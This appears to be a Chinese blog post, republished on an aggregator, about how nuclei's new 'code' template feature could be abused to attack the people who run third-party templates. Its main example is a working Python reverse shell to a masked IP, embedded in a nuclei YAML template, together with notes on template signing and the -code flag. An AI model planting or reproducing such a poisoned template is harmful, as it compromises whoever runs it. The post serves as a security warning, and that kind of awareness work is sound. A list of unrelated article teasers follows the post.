新功能?浅谈nuclei的反制思路

code新功能?

写poc时,习惯性查官方文档的时候,注意到了一个新的功能:code
在这里插入图片描述
链接直达:https://docs.projectdiscovery.io/templates/protocols/code
大概翻译下:

Nuclei 支持在主机操作系统上执行外部代码。该功能允许安全研究人员、五项测试人员和开发人员扩展 Nuclei 的功能,并执行超出常规支持的基于协议的测试范围的复杂操作。

利用这一功能,Nuclei 可以与底层操作系统交互,并执行自定义脚本或命令,从而开辟了广泛的可能性。它使用户能够执行系统级配置、文件操作、网络交互等任务。这种控制水平和灵活性使用户能够根据自己的具体要求定制安全测试工作流程。

编写代码模板时,使用代码块来表示模板请求的开始。该代码块标志着代码相关指令的开始。

要执行代码,需要指定系统环境中已安装或可用的语言解释器列表。这些解释器可以是(但不限于)bash sh py python3、go、ps 等,并按顺序搜索,直到找到合适的解释器为止。这些解释器的标识符应与各自的名称或系统环境识别的标识符相对应。

第一反应,非常棒,利好漏洞poc生态。比如以前有些加密解密只能依赖官方提供的Helper Functions。官方讨论区见过无数提各种各样函数支持的issue了,如果全都适配,必然nuclei会臃肿到非常大。现在开放了三方代码,直接调用本地文件或者自定义代码,完美解决如某友,某微等国内产品的复杂poc编写问题。

第二反应,支持bash sh py python3、go、ps 等,这不一键反弹shell?

众所周知,每年在开源社区投毒漏洞利用工具,脚本等事件频发,常见的手段有代码中藏恶意代码,恶意第三方库,idea特性投毒等等,这不都可以和nuclei这一功能结合起来么?

简单尝试

对着官方仓库:https://github.com/projectdiscovery/nuclei/tree/main/integration_tests/protocols/code
编写一个poc(没加签名了,要尝试的自签名)

id: sh-test

info:
  name: sh-test
  author: sp4rkw
  severity: info

code:
  - engine:
      - py
      - python3
    source: |
      import socket,subprocess,os
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(("xxx.xxx.xxx.xxx",2333))
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      p=subprocess.call(["/bin/sh","-i"])
      print("11111")
    
    matchers:
      - type: word
        words:
          - "hello from input baz"

看下效果:

  • 机器1
    在这里插入图片描述
  • 机器2
    在这里插入图片描述

具体分析

首先,毋庸置疑,这个反制思路时可行的。玩法很多,只能说,脚本小子的快乐又没了,用非官方库的nuclei脚本都需要注意一下。至于官方库是否可以投毒,期待有师傅尝试一下?非常可刑

再来说两个注意点,第一个是,脚本需要签名,携带code模块的yaml文件,没有签名运行不起来。虽然没什么用,因为每个人都可以生成签名,但是可以阻止伪造官方仓库poc进行投毒。

通过使用私钥-公钥机制,模板签名为模板生态系统增加了一层安全和信任。它有助于确定模板作者的身份,确保各种系统中使用的模板是真实的,没有被恶意篡改。

直达链接:https://docs.projectdiscovery.io/templates/reference/template-signing

批量签名也非常容易

root@iZmj768nr8:~# nuclei -u scanme.sh -t ./test.yaml -sign
[INF] Generating new key-pair for signing templates
[*] Enter User/Organization Name (exit to abort) : xxx
[*] Enter passphrase (exit to abort): 
[*] Enter same passphrase again: 
[INF] Successfully generated new key-pair for signing templates
root@iZmj768nr80f:~# nuclei -u scanme.sh -t ./test.yaml -sign
[INF] All templates signatures were elaborated success=1 failed=0

第二个点,官方在前几天的更新中,添加了-code命令在这里插入图片描述

默认禁止有code模块的脚本运行,需要加-code参数

官方也只能做到这里了,毋庸置疑,未来使用code模块编写poc肯定会越来越普遍,-code还是会成为一个默认选项。

至于code模块的代码安全检测?留给未来吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/210024.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

注意力机制及Transformer-3GPT版

#pic_center R 1 R_1 R1​ R 2 R^2 R2 目录 知识框架No.1 自注意力机制(self-attention)一、输入的种类以及表示1、输入是a vector2、输入是a set of vectors(一段文字)3、输入是a set of vectors(一段音频)4、输入是a set of vectors(一段图谱)5、输入是a set of vectors(一个…

4个Pycharm高效插件

大家好,Pycharm是Python最受欢迎的集成开发环境之一,它具有良好的代码助手、漂亮的主题和快捷方式,使编写代码变得简单快捷。话虽如此,开发者仍可以通过使用一些插件来提高在Pycharm中编写Python代码的效率和乐趣,在市…

00后卷王真的很卷吗?

前言 都在传00后躺平、整顿职场,但该说不说,是真的卷,感觉我都要被卷废了... 前段时间,公司招了一个年轻人,其中有一个是00后,工作才一年多,直接跳槽到我们公司,薪资据说有18K&…

Docker下搭建MySQL主从复制

目录 主从复制简介 主从复制搭建 主从复制简介 主从复制,是用来建立一个和主数据库完全一样的数据库环境,称为从数据库;主数 据库一般是准实时的业务数据库。 主从复制的作用 做数据的热备。作为后备数据库,主数据库服务器故…

Elasticsearch:么是向量嵌入?

向量嵌入定义 向量嵌入 (vector embeddings) 是一种将单词、句子和其他数据转换为捕获其含义和关系的数字的方法。 它们将不同的数据类型表示为多维空间中的点,其中相似的数据点更紧密地聚集在一起。 这些数字表示可以帮助机器更有效地理解和处理这些数据。 单词和…

Jenkins持续集成之修改jenkins工作目录

修改jenkins工作目录 一般不建议把工作目录放到默认的C盘,故可以更改到其他盘中 前置条件:先在其他盘中新建工作目录的文件;如下图 1、首先打开任务管理器,找到服务中的Jenkins进程 2、右击点击转到详细信息; 3、再右…

分享4个工具,轻松搞定PDF和图像中提取文本

大型语言模型已经席卷了互联网,导致更多的人没有认真关注使用这些模型最重要的部分:高质量的数据! 本文旨在提供一些有效从任何类型文档中提取文本的技术。 Python库 本文专注于Pytesseract、easyOCR、PyPDF2和LangChain库。实验数据是一个…

shell 脚本计算距离最近的坐标

shell 脚本计算距离最近的坐标 坐标数据文件geo.log格式如下: beijing(116.405285,39.904989) tinajin(117.190182,39.125596) hebei(114.502461,38.045474) shanxi(112.549248,37.857014) neimenggu(111.670801,40.818311) liaoning(123.429096,41.796767) jilin(1…

012 OpenCV sobel边缘检测

目录 一、环境 二、soble原理介绍 三、源码实验 一、环境 本文使用环境为: Windows10Python 3.9.17opencv-python 4.8.0.74 二、soble原理介绍 Sobel边缘检测是一种广泛应用于图像处理领域的边缘检测算法,它通过计算图像灰度函数在水平方向和垂直…

包装材料ERP是什么?包装材料ERP有什么用

市面上的包装材料种类多种多样,而这些差异化的包装材料对应的产成品规格、型号、质量、销售策略和生产工艺等方面存在诸多差异。 另外,通常包装材料企业的营销渠道比较广泛,不同的销售平台有多样化的业务流程和管理方式,相同的商…

数字员工「取数宝」上新!4大优势,解决电商取数难题

全域电商,是近几年的新趋势,几乎所有商家都在布局全域,追求全域增长。但商家发现,随着投入成本的上涨,利润却没有增加。 其中最为突出的是——商家为保证全域数据的及时更新,通过堆人头的方式完成每日取数…

idea汉化

所有的jetbrains 汉化包下载地址, 包括leda ,pycharm /,datagrip 等软件,,所有方法都一样:搜索对应的版本需要的包 下载后,在idea的插件中选择从磁盘加载,然后重启 ,即可…

11.9密码加密,加盐算法(手动实现)

一.Spring提供了mb5加密的方法 注意:这种加密不安全,是有规律的,可以被暴力穷举(彩虹表). 二.加盐加密(每次调用都是随机的,无规律的) 1.思路: 每次调用该方法产生唯一的盐值, 加上明文密码, 再经过md5加密形成最终的密码. 三.代码实现 package com.example.demo.common;im…

C语言之结构体

一.前言引入. 我们知道在C语言中有内置类型,如:整型,浮点型等。但是只有这些内置类 型还是不够的,假设我想描述学⽣,描述⼀本书,这时单⼀的内置类型是不⾏的。描述⼀个学⽣需要名字、年龄、学号、⾝⾼、体…

【数据结构(五)】递归

文章目录 1. 递归的概念2. 递归能解决什么问题3. 递归的规则4. 递归实际应用案例4.1. 迷宫问题4.2. 八皇后问题4.2.1. 思路分析4.2.1. 代码实现 1. 递归的概念 简单的说: 递归就是方法自己调用自己,每次调用时传入不同的变量。递归有助于编程者解决复杂的问题&…

第二节:服务拆分(案例)

一、服务拆分注意事项 1.1 拆分原则 每个微服务,不要重复开发相同业务(例如在单体项目中用到了一个查询,这个查询功能能够查询出订单信息、商品信息、用户信息,那么在拆分微服务时就不要将其写在一起了,订单的微服务只…

推荐3个完美替代 Navicat 的工具

现在企业,mysql数据库用的比较多,mysql数据库客户端的需求也就比较大,navicat就被大家所熟知。 这个工具,确实好用,功能也非常强大,但是,它的强大,是需要付费,或者用一些…

windows ce Remote Process Explorer定位程序崩溃地址

windows ce Remote Process Explorer定位程序崩溃地址 一:下载地址二:使用1)找到程序基准地址2) 定位程序异常位置 一:下载地址 链接:https://pan.baidu.com/s/1fQVBpputtRmynqa95DaPrg 提取码:cx65 二&a…

hexo博客部署到云服务器

欢迎大家到我的博客浏览。hexo博客部署到云服务器 | YinKais Blog 这篇文章带大家将hexo博客部署到云服务器上! 一、服务器环境安装 1、安装 node js yum install gcc-c make yum -y install nodejs yum -y install npm 验证 node -v npm -v 2、安装git、ngin…

DOM 事件的注册和移除

前端面试大全DOM 事件的注册和移除 🌟经典真题 🌟DOM 注册事件 HTML 元素中注册事件 DOM0 级方式注册事件 DOM2 级方式注册事件 🌟DOM 移除事件 🌟真题解答 🌟总结 🌟经典真题 总结一下 DOM 中如何…